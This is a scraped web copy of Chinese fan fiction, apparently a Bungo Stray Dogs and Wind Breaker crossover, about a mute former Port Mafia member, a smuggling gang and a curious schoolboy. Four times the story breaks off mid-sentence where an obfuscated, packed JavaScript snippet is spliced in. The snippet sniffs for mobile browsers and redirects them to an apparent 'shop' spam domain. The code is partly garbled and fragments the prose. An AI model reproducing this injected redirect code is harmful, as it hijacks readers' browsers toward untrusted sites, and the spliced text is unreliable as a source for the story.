密密麻麻的银光好似流动的网,网住了正在运行中的大部头机器。他不再耽误,立即把坏掉的门合上,从侧边楼梯上楼,免得正面迎接机器的爆炸。 直到他上到四楼,才听见有人在气急败坏地叫喊。 这样煞风景的喊叫立马被闯入者出手制止。 雨声盖过佐久间弥津的脚步声,也盖过人体扑倒在地上的沉闷响声。 爬楼怎么可能不累。哪怕他曾经也是体力超绝的武斗派,但休息几年的后果就是他会气喘着出现在换弹匣的优眼前。有高低差的“战场”从来不是好地图。 看着自己活动量似乎有些超标的前上司,上好子弹,镜优调侃道,“电梯在楼的背后呢,你可以坐电梯的。” 被如此戏谑的人无力反驳,轻轻摇了摇头,等待镜优的下文。 没有血肉崩裂,也没有血流成河,但七楼以下,暂时没有能自由行走的“活人”。 每每想到这点,镜优都觉得可怖。但又想到做出此等凶悍之事的人正站在自己身边,他的兴奋之情溢于言表,表现的方式是奚落现上司。 “你花十分钟能解决的敌人,某个不当人的家伙得花一个小时。他前段时间又把我派到了美洲,我的衣服都染上了烟草味。” 佐久间弥津瞧了喋喋不休大吐苦水的人一眼,意思是“差不多得了”。 很难说水落是不是已经手下留情了,没命令优常驻美洲算看在他的面子上。 镜优对水落望音是永远不会服气的,他从那家伙身上感受到的只有浓浓的排斥和蔑视,一点好意都没有。 提到这一层的发现,镜优歪了歪头,似乎在思考如何言语通顺地讲述自己偶遇“囚犯”的过程。眼见为实,他邀请弥津大人亲自看看。 院子里还有另外三栋较矮的楼房,都不过三四层,实在让人生不起去看的心思。 半开的房间门,锁的位置已经被子弹击穿,形变得不成样子,房间内杂乱无章,但没有落灰,想必是经常有人出入,一名脸脏兮兮的年轻男人被手铐拷在两指粗细的不锈钢管道上,拷了左手,右胳膊的袖子里空荡荡的,搭在盘起来的腿上。 房间里没有正经家具,看起来年纪尚小的年轻男人靠坐在墙边,身下垫着一块很薄的毛毯,似乎这就是这个世界上唯一属于他的自由空间。 “好了,现在,整座大楼里只有三个能站着的人了。把你刚才说的事,再说一遍。” 镜优玩着手里的枪,对准抬头望向他们的年轻人。 落在年轻人眼里的首先是一片充满希望的玫瑰田。拿枪的青年走近他两步,蹲在他半米远的地方,摘下自己的墨镜,露出一双在无灯的室内相当吸睛的金瞳。 这二人的气质天差地别。谁是主位,一目了然。 他孤注一掷,目光迎向一言不发的青年。 “可以……替我杀掉他们吗?”他祈求道。 随身带着一柄长柄伞,神色冷淡的青年依旧不言语,即使他妄图看到青年表态,回答他的仍是蹲着的黑发青年。 “原因呢。” 原因,原因…… 被拷着的灰发年轻人眼神变得迷离,像是迷迷糊糊半睡半醒,喃喃地说,“他们……背叛了我的父母。” * 站在走廊朝外的窗边,佐久间弥津从口袋里拿出喷雾药剂,给自己来了一下,药物的苦味让他的脸色瞬间扭曲。 眯缝着眼,他回了条消息,让接走苏枋的人给快要醒来的人注射一支镇静剂。这不是醒来的最佳时机。 这种地方……这种城市,暗地里果然乱得很。 走私团伙发生了内讧。身为掌权者的家人身死,被软禁的前一把手之子不甘沦落至此,暴起杀人逃亡。没有丰富经验的人又能逃到哪去。还不是被抓回这里,受尽折磨,还失去一条胳膊,“以儆效尤”。 但骨头还硬,能站得起来。 “你们……是什么人?” “识相的人就不会这么问。” 走路蹒跚的年轻人扶着墙,竭力跟在不曾同情他而放慢脚步的镜优身后。 “想‘委托’我们,要拿出诚意。以你的现状,能交出什么当报酬?”镜优与其交涉道。 年轻人望着站在窗口,背对着他们观雨的银发青年,心怀希望地说,“只要能让我离开这里,就必定能……” 镜优不耐烦地打断了小年轻的话。 你还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16551624|186252||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没看清现实。现在,就连你的性命都不是你能完全掌控的东西。别谈之后,只讲现在。 被无礼打断的人再次注视起佐久间弥津的背影。 但佐久间弥津没有参与他们讨论的想法,而是观察起院子里泡在雨水中的“尸体”。他方才没有下死手。事情没结束,就判断不出那些小喽啰还有没有剩余价值。 苟且偷生,或者坐穿监牢,既然在干这种工作,一定早就对自己的结局有所预料了。 电光如银白利刃,在势头强劲的大雨中穿梭,带来新一轮的补刀。 俯瞰院子,万分周全地把“尸体”又杀了一遍。 “我……”小年轻终于明白自己该回答什么,他诚心诚意地说,“我听你们的。”只要能让他活着报复回去,什么都可以。 玩枪的男人笑了一声,摘掉墨镜,而他心中隐隐期待看到表态的青年则始终不为所动。 “那么,听好了。” 忘掉此刻你见到的人,忘记他们的声音、长相和所做过的事。 带走放在一楼保安室桌上的文件袋。 去报警。让警察在半小时之内赶到这里,就能把走私犯全部抓获。 然后,现在,接过这把枪。 神情恍惚的年轻人听话地照做,从面前男人戴着手套的右手上接过这把枪。 镜优如数家珍地把枪支的口径型号来历使用次数和还剩几颗子弹通通告诉此刻在异能力的影响下精神状态与常人迥异的年轻人,不断地暗示,把这些信息灌输进完全对枪械没了解、用水果刀杀人之后竟然毫无“常识”地把沾血的刀丢在垃圾桶附近的人的大脑里。 镜优继续用语言引导,将年轻人引入同楼层的一间办公室。很快,一声枪响从门里传来。 青年狡猾地笑着,对上年轻人的视线,“很好。现在,你已经杀死了你的仇人——之一,可以带上证明文件去报警了。” 身形孱弱,有营养不良迹象的年轻人扛不住手枪的后坐力。他被暗示跪在地上,用手枪抵着昏迷男人的脖颈,但开完枪依旧被后坐力震得摔倒在地上。 脚边新鲜出炉的尸体让他打了个冷颤。 镜优的暗示还在继续。无法保持清醒的年轻人一步一顿,目光呆滞地听从命令,执行语言暗示,活像行尸走肉。 当然,他的结局也会和行尸走肉无异。 送走事情最初的起点,镜优悠闲地走回上司身边,“我们也该走了。要走电梯吗?不知道还在不在正常运行。” 【为什么要带他来】 一盘必定会赢的棋局里突然多出的一步坏棋。 瞧了上司一眼,不认为自己犯错的人神色认真地解释道,“因为那小子威胁我,如果我不带他来,他就要去找你。不如让他亲眼看看他没见过的‘战场’,没准之后会少去烦你。” 当然了,如果那小子不小心死掉了,之后就再也不会去烦你。 镜优在心里阴暗地大笑。 佐久间弥津则叹了口气。 ……第二步坏棋出现了。 给他添麻烦的理由如此清新脱俗,也算好心办坏事吧。 风铃的学生胆子都很大,苏枋的心思比普通这般年纪的少年更不可预料。 希望一支镇静剂不会伤害到苏枋。 28.心虚的都市传说 共同的秘密会让人与人之间的关系突飞猛进,无论是同性还是异性。 他撑着床铺坐起身,摇了摇头,试图甩掉头脑间那股让人呼吸困难的钝痛,慢慢回忆在此之前发生的事。似乎是……他追着佐久间先生的下属去了走私团伙的老巢,但是被发现,然后…… 然后,在雨里,半个月没见的佐久间先生竟然把他放倒了。 那么,现在呢?他在哪里。 他观察起这个光线昏暗的房间。 单人床的床头靠着墙,床的右边和墙之间夹着一个白色的矮床头柜,他的耳坠被摘下,整齐地摆在床头柜上。房门的样式有些眼熟,但他一时想不起在哪见过。 门在整个房间的左前方,和床的位置形成了对角线。有张简单的桌子正对着门,靠墙放着,桌面摆了几样杂物,有配套的椅子。 他拉开床头柜的抽屉,上面的抽屉里只放了充电线,下面的空无一物。他接着探过身,拉开快要垂到地面的深绿色窗帘。温暖而明媚的日光却在瞬间洒进房间,将房间内的阴冷一扫而空。 现在是什么时候?天气竟然这么好。他最后的记忆还停留在和佐久间先生一起淋雨的那一刻……他好像被佐久间先生扶着,没有真的倒在泥泞的脏水里。 外面的景象让他意识到他在安全的地方。街道上积水未干,在地面留下浅浅的水洼,有些旧的路灯安静地伫立,日复一日地等待在夜里亮起指引行人。 他认出来了……这里是佐久间先生家。 他从未进过这间卧室,便没能第一时间看出来。但他搞不懂自己是怎么回到这里的。 他的衣服完整地穿在身上,可从外套衣兜里找到的手机半天没反应。漆黑的屏幕可以临时当镜子用。盯着“镜子”里的自己出神许久,他才想起自己应该先把耳坠戴上。 在那之后,究竟发生了什么事。 走私团伙的家伙,难道被佐久间先生和其他人“处理”掉了? 他重新拉开抽屉,拿起充电线分辨插口型号,他的手机应该可以用。环顾房间,好在临桌的墙上就有插座。 果然,是手机没电了,连一丝支撑他开机的电量都难挤出来。 ……什么声音? 他盯着桌上传来异样摩擦声的黑色塑料袋。 仿佛有活物在其中扭动。 手机留在桌上,他缓缓从椅子上站起,警惕又意外地关注起不知装了什么的黑色塑料袋。摩擦声持续了几秒,然后停下,而造成摩擦动静的“罪魁祸首”也赫然出现在他眼前。 那是一条鳞片雪白,身形细长的蛇,被装在塑料袋里,正探出脑袋,摇摇晃晃,冲他吐蛇信。 ……他很难想象自己和一条蛇在一个房间里呆了至少十二个小时。 他断定这不是佐久间先生的宠物。但蛇又确实被丢在了黑色塑料袋里。 不符合常理的事越来越多。如果手机此刻的电量足够他打一通电话的话,他一定要打给留下一堆谜团给他的佐久间先生。 可当他心中刚浮现这样的想法,充了不到十分之一电量的手机立马接到一通电话。蛇很有灵性地往后躲了躲,把全身都藏进塑料袋,给他留出了一段没有那么安全的距离。 ……这种场面很神奇。 手机铃声还在响,他顾不得考虑自己和蛇的距离,迅速拿到还连着充电线的手机。刚一接通,对面就传来一道男声,不由分说地对他发号施令。 “醒了就回家去。” 他自然拒绝,“佐久间先生在书店吗?” 那名青年继续答非所问,“你害得他和你一起淋雨,晕过去之后占了他的卧室,醒来不走,你还想干什么。” “那条蛇……” “它比你聪明,不用你操心。快点回家去,小子。” 青年的话语里不愿透露佐久间先生的所在,只是不停地赶他走。手机显示的时间是临近上午十点半,日期是第二天。看来他睡了一整夜,日上三竿才醒来。 “记得把门关好。” 青年说完,便挂掉了电话。 扭头看着窝在塑料袋里的蛇,苏枋隼飞心中突生奇思妙想。 他准备带着这条毫无攻击性甚至有些迟钝的蛇一起走。笨拙的蛇盘成螺旋的一团,他等了片刻,始终没有感到蛇的攻击意图,迅速伸手,以此生最快的速度把塑料袋系好。他还没出门,青年的电话又一次打了过来。 “……你在做什么?”镜优问。 站在他身边的染崎左手着急地比划,右手捂着右眼,留下变得全白的左眼,借由蛇的眼瞳观察少年的举动。 但是那个少年要把她的蛇打包带走了! 啊——被关在塑料袋里了! “我送它到书店去。抱歉,手机又没电了,我很快过去。” 少年以手机没电为由挂掉了电话,等镜优再打回去,电话里已经传来对方手机关机的提示音。 青年和少女面面相觑。 放下捂着右眼的手,少女全白的左眼渐渐恢复正常的深色瞳孔,“那就……等等吧。” 难道他们还有别的选择吗。 十几分钟过后,提着黑色塑料袋的少年出现在店门口。 他要见的人不在家里,也不在店里。无论怎么打听,神情拘谨又警惕的少女永远对他摇头,戴着墨镜的青年也总是赶他走,说,你明天就能见到了。 * 他明天真的能见到吗?这种话他信了一次又一次。 然而,等到第二天太阳照常升起,他当真见到像无事发生般坐在店里椅子上的青年,前一天起伏不定的心路历程就被他抛之脑后。 现在,店里只有佐久间先生一个人。与那条蛇关系匪浅的少女不在,总是赶他走的青年也失去了踪影。他的心情忽然之间变得像无风的草原。 正在摆弄手机的佐久间先生看到了站在门外的他。 他对好不容易相信他“只是因为淋雨发烧所以昨天没去学校”的同伴说,他们先走,他之后会跟上。 对他单独找佐久间先生的事已经见怪不怪,熟悉他一举一动的同伴隔着玻璃对青年招了招手,很快走远了。 佐久间先生嘱咐他,【永远不要对他们提】 “是……永远不要对他们提走私团伙的事吗?” 【全部】 【全过程】 青年的眼神很认真,苏枋隼飞只能点头答应,“我会保守秘密的。” 那些持枪的走私犯呢?他们下场如何 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16556950|186252||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 其实他并没有问出这个问题。这个问题在心里盘旋许久,再难落地。他深知,作为黑手党组织成员的佐久间先生和其他人有自己解决问题的办法,即使这种办法看起来血腥暴力又无情,但是最行之有效的方法。 他问出的是另一个问题。 佐久间先生为什么要这么努力地帮他查这件事呢。即使是他的“求助”,佐久间先生有拒绝的权利,不必辛辛苦苦从一把带血的水果刀最终查到持枪的走私团伙。就算佐久间先生婉言拒绝了事,也是可以的。 相识已有一年之久的青年脸上的神色仿佛在回忆什么。他安静地等待,将全部的耐心用在期待佐久间先生的回答上。 【我答应过梅宫,会在他不在的时候,帮忙解决你们没办法处理的事】 “……是这样啊。” 佐久间弥津点头,不想再透露更多情况给少年。和人命有关的事,还是交给有经验的大人比较好。 他的身份几乎对苏枋已经全然公开。黑手党的事、犯罪组织的事,一切应该向外人保密的事,他可以破例让苏枋窥得一角,以示对其勇气的嘉奖。但其余的部分,必须对苏枋保密。 不为别的,只是为了“保护”。知道的内幕越少,才越安全。 “佐久间先生,那天晚上,”苏枋又问,“我睡在你的卧室里,你又在哪里休息。” 【在客厅睡沙发】 优拒绝了书店隔间的床,宁愿打地铺陪他。染崎在酒店,准备过两天返程。 水落指派优和染崎同时回国,不就是为了这个?可用之人在精不在多。 但这样做的条件是,他必须去医院复查。 帮优的另有其人,但也和他们两个一样离开了。 失去消息的第一周,是他去医院跑了一趟。他在医院听医生罗列出一整张注意事项的同时,优在沿着水落那一夜的发现继续在暗中调查。染崎真正的作用也许是帮书店警戒?也可能是水落再也受不了被染崎默默盯着,后背发凉的感觉。 他拜托优解决迫在眉睫同时也是引线的问题。如果可以的话,用异能力让思虑过度的少年被动忽略和“沾血的水果刀”相关的信息。 将其埋在记忆深处,唯有被唤醒相关的记忆,才能完整的想起那段经历。现在,有可能无意间提到的那起意外的,只有苏枋一人,只要苏枋能保守秘密,就能保证另外两名知情人这辈子都不会想起那件事。 “……可是,我是怎么回到那里的。” 发觉佐久间先生不肯把那天发生的事完整地讲述给他,苏枋隼飞尝试用问题迂回拼凑答案。 佐久间先生不在的那些天里,他会去佐久间先生的家附近。就当他在“闲逛”吧。早上或者晚上,阴天或者晴天。可他永远找不到佐久间先生出现过的痕迹。看不到夜晚透出窗帘的灯光,也听不到任何声响,更别说下过雨之后进出家门会在门口留下的湿脚印,根本没有。 青年打出一行字。 【有人开车送你回来】 犹豫片刻,又继续以这样的方式询问道,【没有很疼吧】 是指那天让他快要一头栽倒的疼痛吗? 他笑道,“没有哦。毕竟很快就晕过去了呢,已经不记得了。” 29.没礼貌的都市传说 苏枋很聪明。他原以为以苏枋的理解能力,自然明白靠近他是件危险的事。 可是知道他的身份之后,不仅没有选择避开,反而更勤快地出现在店里。他没看懂苏枋此举的用意。他希望,苏枋能将这件事死死保密,不向任何人透露。 【连梅宫也不可以】 无论佐久间弥津提出怎样的条件,少年总是一味点头,险些让佐久间弥津觉得苏枋根本没明白他的意思。望着站在桌前相当“乖巧”的少年,佐久间弥津在心里无奈叹气。 二人的视线同时被敲了敲门的外国青年吸引。 苏枋隼飞前不久曾见过的褐发青年相当礼貌地敲了敲门,维持着热情洋溢的笑脸,吸引了佐久间先生的注意之后便拉开店门走进来。 好奇地朝他看了一眼,回过头看向坐在椅子上的青年,熟稔地说起话。 难办啊,是他听不懂的语言。 说话间,青年又扭头看了看他,但不知用意。青年的到来倒是让佐久间先生问他还有没有其他事。 没感觉错的话,这是送客的意思吧。 苏枋隼飞的确如佐久间弥津所想的那般聪明,很快领会了他的意思。 于是,书店里只剩下拥有苏枋隼飞不了解的过去的二人。 长相英俊的意大利青年把语言系统灵活地切回日语,透露着些许神秘气息的榛色眼睛凝视着他,“正式叙叙旧吧,多年不见了,佐久间先生。” 是有几年了,至少两年。但佐久间弥津心里没有同其叙旧的想法。他和水落手下的这名“斥候”没打过交道,充其量不过是会在别处偶遇时能够相互认出的交情。名字是叫……洛恩佐·里奇?他听水落对此人的称呼是“恩佐”。 他没想到水落会派他来,派一个非本国人来帮他。 明白佐久间弥津无法回答,洛恩佐想聊些轻松的话题活跃气氛,“其实,这是我第二次来日本,但我觉得,我的日语水平已经很不错了。” 佐久间弥津点头回应。是本国人能听懂的水平,靠和欧洲部门的日本成员练习而来的口语,不知为何太过标准,显得有几分僵硬和呆板。 但能做到这份上已经很棒了。如果他还能说话,也许会这么说。 欧洲部门真正的的外籍成员不多,很少,屈指可数,都没有在他手里呆过。 似乎长难句还是太为难一个没有真正学习过外语的人,他们慢慢回到英文对话。 “询问你离开组织之后的事,会让你有被冒犯的感觉吗?我只是好奇,你是如何从横滨来到这里的。路途是如此遥远,这里很小,一定比你呆过的所有城市都小。” 这个问题,还真是让佐久间弥津感到为难。 他更想知道为什么洛恩佐没离开。优和染崎走得匆忙,不想暴露他们回国后额外和他有接触的真相,反倒是本该更忙的洛恩佐留到了今天。 而且,这个问题,他拒绝回答。 他刚离开组织的那段日子等同于一具行尸走肉在流浪——这句话没有特别的感情色彩,只是因为一段忙碌的工作后突然歇下来变得无所事事的人,都会像一具没有目标的干尸。 “流浪”,这么形容没问题。他没有明确的目的地,也没有去寻找旧日家人的冲动。仔细数数,他走过不少地方,城市有大有小,人们贫穷或富有,治安糟糕或良好。 他真正的落脚点,必须是适合“哑巴”生活的地方。 “你在欧洲部门的话,现在还可以帮水落先生分忧。他很想你,你过去的下级也很想你,许多人都怀念你。你的离开,是一大损失。还会回来吗?我相信总部不会因为你曾经辞过职就不再‘聘用’你。” 意大利青年过于直白的话让佐久间弥津猝不及防。 即使他在国外呆过几年,但无论如何,直接说别人在“想”他这种话,还是太肉麻了。 “水落先生认为你一定会回来,所以,没有对我隐瞒你的行踪。我不会向任何人透露你的所在,你一定有自己的难处。但我也是‘怀念’你的一员。” “怀念”他做什么?没了他,组织里还会有新人出现,怎么可能因为一个人的离开而停滞不前,难以为继。以他同洛恩佐的交情,没必要对他说这些。 “假如我们的行动被高层发现,我们该如何解释呢?” 青年问出了他也曾考虑过的问题。 他再三劝阻,可旧友们还是隔三差五来找他。如果某天中也先生发现水落他们回国的频率高得不正常……那就把他的联系方式交给中也先生吧。 怀疑他的“辞职”另有隐情,也总好过怀疑欧洲部门的人员。说白了,他已经离职了,只要不追责,什么烂摊子都可以推到他身上。 【也可以告诉他,我一直没做手术,靠吃药维持】 这样的安排,洛恩佐一样可以复述给水落。 “看来,我一定能再见到你。”洛恩佐笑道。 两三年没正式见过面的青年坐在椅子上沉默了很久,才用独特的沟通方式向他表示,【也许吧】 仅计算人员档案归属于欧洲部门的异能力者成员,不包含平日往返国内外出差的成员,欧洲部门里的异能力者人数不足国内部门的一半。佐久间先生离开后,人数便继续下降。 欧洲部门的规模比国内部门小,即使在本部的授意下,目前已经向外扩张了不少事务……那也小。现在的“新人”,怎么想都不会比有经验的佐久间先生更值得信任。 那些新人真该知道,在他们悄悄吐槽水落先生“只手遮天”前,欧洲分部存在过一个和水落先生平分秋色的人。可惜离开了,不然他们的生活会更精彩。 能让个性迥异的二人成为朋友,自然是有原因的。 “你有想知道的情报吗?我可以讲给你。” 青年摇头,拒绝了他的好意。 “但我觉得,我们可以为你的复职做准备了。” 他作为水落先生小队的成员,每一个见到佐久间先生的时机都和任务息息相关。 初见时,气质淡然的青年不像黑手党,反倒像个拒人于千里之外的冷漠贵族少年。唯独那双眼睛艳丽而热烈,让人忍不住想要靠近,又忌惮脸上漠然的神色。直到他听到此人的名字,才恍然大悟。 名字和脸对不上,在他这种频繁去各个分部出差的成员身上是常有的事。长相气质和个性不太统一,外表看着比水落先生更疏离,实则会拿冷笑话大全页面截图当手机屏保。在佐久间先生还能说话的日子里,交流起来更能感受到独一份的冷幽默。 还真是怀念,一晃都过去四五年了。 银发青年看着他,让人见之不忘的眼睛似是无奈地扫了他一眼。 【你不回去吗】< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16562463|186252||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “我的行动不和镜先生他们同步,有额外安排其他任务给我。如果你愿意尽快进行手术,水落先生会更高兴的。” 他的话没有激怒由于不明原因而拖延治疗进程的青年,但身份已经变成日本一处小城里书店店主的青年轻叹了口气,起身去隔间里倒水、拿药。 “你了解本部的医疗部门吗?里面有位拿过货真价实的医学博士头衔的医生。” 书店老板拆开一盒全新的胶囊药物,当着他的面就着温水服下两粒,却不再回答他任何问题。 望进隔间里,洛恩佐发现了一把斜靠在门边的黑伞。他在欧洲见过,下雨天却还要出门执行任务的人打过这把伞。漆黑的伞骨干净而□□,没有年长之后的旧伞特有的锈迹斑斑。 由此,他能得出佐久间先生为人“念旧”又“爱惜物品”的结论。 这为他认为佐久间先生一定会再次成为他的“同事”新增加了一条有力的论证。 隔间虽然小,但也是单人间的大小,不过,既然是作为商铺,隔间最初的作用就应该是作为仓库。看来佐久间先生还有点不拘小节。 在洛恩佐·里奇面前如坐针毡的书店老板自顾自喝药,终于在天色变得昏暗前熬走了话多又自来熟的意大利青年。 洛恩佐若是再待下去,他都不知道该如何打破那快要凝固的气氛。 他哪能给出具体的时间呢。已经是走一步算一步的时候了。 港口黑手党的……医疗部门,他不怎么了解。 森先生也是医生出身。他和森先生的初见,独自一人的森先生穿了医师袍在街头闲逛。黑手党的首领,居然会有闲心在街头悠哉地散步,那不是很不可思议吗。 还有,他的母亲,也是一名治病救人的医生。 他对医学没有执念,但对他的人生影响最大的人却都是医生。 洛恩佐提到的人,他有些印象。 陪同中也先生回到横滨的那段日子里,他见过。对他做自我介绍的时候,自称“外科医生”。 “既然你的嗓子说不了话,那就用不着探究我为什么只会告诉你‘代号’一样的名字了。” 医生留着蘑菇头,齐刘海,年纪比他大几岁,精神状态不一般。从学历和急救经验来看,是名优秀的医生,可惜并没有对喉咙和声带进行专项治疗的经验。 ……港口黑手党是一个庞然大物。 普通人自然对他没有概念。 即使他至今想不通森先生会随手招揽他加入组织——他认为是“随手”。因为那时的他还很差劲,差劲到连能力都做不到可控。 异能力者不也能算一种“异端”吗?在科技不发达,文明也落后的时代,也许只剩被火烧审判的命运。 若是无法让自己的能力大放光彩,那就最好让自己像普通人一样平静地活着。 既要动用异于常人的能力,又不舍得花时间精力去精进,受害的只会是异能力者自己。明明可以做到的事,却因为连自己的能力都不了解而失败,那不是很可惜吗? 一定,一定会后悔很久的。 洛恩佐带给他的“无言以对”感让他在偶遇穿着校服下学回家的少年们时,连忙招手让他们过来。 【我请你们吃烤肉】 再不做些什么,他今天晚上一定会带着烦乱情绪入睡的。 30.被最高干部逮住的都市传说 天气渐渐转凉。 横滨的街道绿化做得不错。在种着悬铃木的地方,曾在夏季给予行人一片舒适绿荫的叶片逐渐枯黄,直到变成褐色,恋恋不舍地从枝干上脱落,林荫大道种植得更多,风一吹,枯叶纷纷飘落,场面壮阔,提醒市民们这一年已经快要度过四分之三。 反之,在种着珊瑚树的地方,树冠依旧郁郁葱葱,茂盛丰满,绿意盎然。 原本在盯着远处拥挤车流的最高干部先生回头,脑中灵光乍现。 “你们现在怎么都喜欢线下汇报?想趁着回国的机会在国内休息几天?” 水落望音略一迟疑,“是有这个原因。” 在工作以外的地方,中原中也从来都是个很好交流的人。虽然两人是上下级的关系,但聊起生活没什么顾忌。 “你加入组织是很早的事吧。” “是。有好几年了。” 今年,欧洲部门调去了不少新人,被紧锣密鼓地安排学习那边的事务和工作形式。国内外的风向不同,他们要早点适应。 回忆着这次汇报的内容,方才在中原中也脑海中萦绕不去的想法越来越让他觉得可能性很大。 “和你一起回总部的成员是谁。” “鸿上,鸿上律。中原先生,你应该还记得他以前是我小队的成员。” 不……不,他指的不是昨天会议上见过的栗发青年。会议不需要所有人做汇报,一同回国来但不参与重要会议的人也是有的。他说的是在他眼前出现过,但没有出现在会议上的人。 脑海中总有个人影。细细将这两日的行程在脑海中捋顺,中原中也恍然想起,是常年戴墨镜的镜优。昨日在他眼前出现过,但在那之后,便再无下文。 水落望音脸色如常,沉住气,说道,“是他。他是这次的随行人员之一。” “他以前在佐久间身边呆过吧。” 回想起曾经长久地呆在他身边的得力下属,中原中也心中唯有惋惜。正儿八经递上辞呈,还有眼见为实的理由,难道要他残忍地拒绝?他没有那么冷漠无情。 更何况,他觉得自己很了解佐久间其人。能自己独自解决的事,绝不会留给别人扫尾,功过留给后人评判这种事从来不做。 “是……镜优以前是他的副手。”回话的人说得毫无破绽。但在上司提起好友时,水落望音还是不由得有一瞬无伤大雅的停顿。 不知是不是观察到了他短暂的异状,中原干部问他,近段时间有没有弥津的消息。他细心地观察中原干部的表情,看到他没有兴师问罪的想法,才缓缓回答,同时给自己留下思考的空间,“去年……有过一次联系。他一直靠吃药维持现状,但还没有做手术。” “真的?!” 与其说他是在惊讶能在意想不到的时候得到下属的消息,不如说他为佐久间还没做手术而感到奇怪。 他想问水落是怎么联系到佐久间的,佐久间又为什么没做手术,但最后他选择了问佐久间怎么换了手机号码还不知会他们一声。 佐久间是自愿辞职离开的,可作为朋友的他们,有什么必要完全断绝联系。 话说回来,佐久间为什么没做手术。 “那种手术的费用很昂贵吗?”昂贵到佐久间承受不了? 中原中也的语气渐渐带上了急切意味。 如果真的是如此,他怎么可能让一个因病辞职离开的下属手头拮据到没钱做手术。还是说,手术的风险很高? 水落望音将上司猜测的原因一一排除,依旧脸色平静地扯谎。 “医生的说法是,不是必须要手术,只要戒掉酒和大部分刺激性食物,仅用药就可以维持病情稳定,日常生活足够了。” 举例来说,好比近视之后,可以戴眼镜,也可以做眼部手术矫正。但不是所有近视的人都会去做手术,况且,做过矫正手术之后,也并非再无后顾之忧。 大概就是这样的道理,浅显易懂。 “他常去复查的医院治疗水平很高,每隔一段时间他都会去复查拿药。他住在附近的小城镇,生活成本很低。” 要戒酒啊……中原中也若有所思。 他这几年也和戒酒没区别,他们还真是“难兄难弟”。以前在欧洲分部出差,能陪他喝酒的人只有那么几个,两只手就数得清。但说实话,佐久间喝酒不像他会细细区分酒的产地和酿造年代,既然是他提出的酒局,自然是他精心挑选。他不会给既是同事上下级又算朋友的人喝不入流的劣品酒——那种东西只能算酒精饮料。 “中原先生……你希望他回来继续工作吗。” 中原中也没有在这个问题上犹豫。虽然他没明白水落望音问这个问题的原因是什么,但是,“辞职之后他就是自由人。如果他想回来工作,他只会听到欢迎的声音。可一点消息都没有,像人间蒸发一样,有点过分吧?” 他都要担心佐久间遇到不测了! 关于佐久间弥津的话题暂时告一段落。如今只是港口黑手党前成员的佐久间弥津,按道理,不该误入最高干部和欧洲部门代负责人的一对一交流中。 怀念执伞人的家伙有很多,原因各不相同。有人怀念的是在瓢泼大雨中看到一把黑伞出现的安心,有人则快要藏不住自己的私心。 离开最高干部的办公室,水落望音和一个穿着黑色风衣,头发留长至耳下的青年擦肩而过。青年也回头看了他一眼,轻笑着点头算作礼貌打招呼,之后敲开了中原干部办公室的门。 他没在国内部门呆过,对横滨部门的成员堪称陌生。但这个男人他有点印象,他们以前在几乎相同的位置偶遇过。 是个用钢丝杀人的家伙,据说是造假的行家。 他没有多想,继续离开冷清而寂静的走廊。 而一墙之隔的中原中也正在绞尽脑汁让钢琴家想起刚才的人是谁。 “我觉得他有点眼熟。” “那是当然吧,你们又不是没见过。”虽然每次都是欧洲那边派人回来汇报工作的时候。 中原中也嘟囔着,回到桌子后面,手撑在桌上,操作起睡眠中的笔记本电脑。 “你还要工作?”钢琴家已经准备下班回家了,他仍会先对他们的最高干部礼貌询问,“我可以看你的电脑屏幕吗。” 这么着急,是在做什么。那位下班前又来命令了吗? 中原中也忙里偷闲回答,“我没在搞乱七八糟的。想看就看。” 好啊。 他站到中也身边,瞧了一眼屏幕,又瞥了一眼在屏幕上操作一通的人,“你怎么突然想起注册聊天软件账号。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16568243|186252||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “联系一个人。” “要聊很久?” 不会吧。中原中也停下动作,思考片刻,“只是想问他的病情。”那不是几句话的事吗?又不耽误时间。 “先别费劲了,用我的。”钢琴家接管了鼠标,“这个软件的账号我有。” 点出好友添加栏,他问,你知道对方的联系方式吗? “知道啊。刚知道。” 刚知道的意思是……刚才离开的人告诉你的? 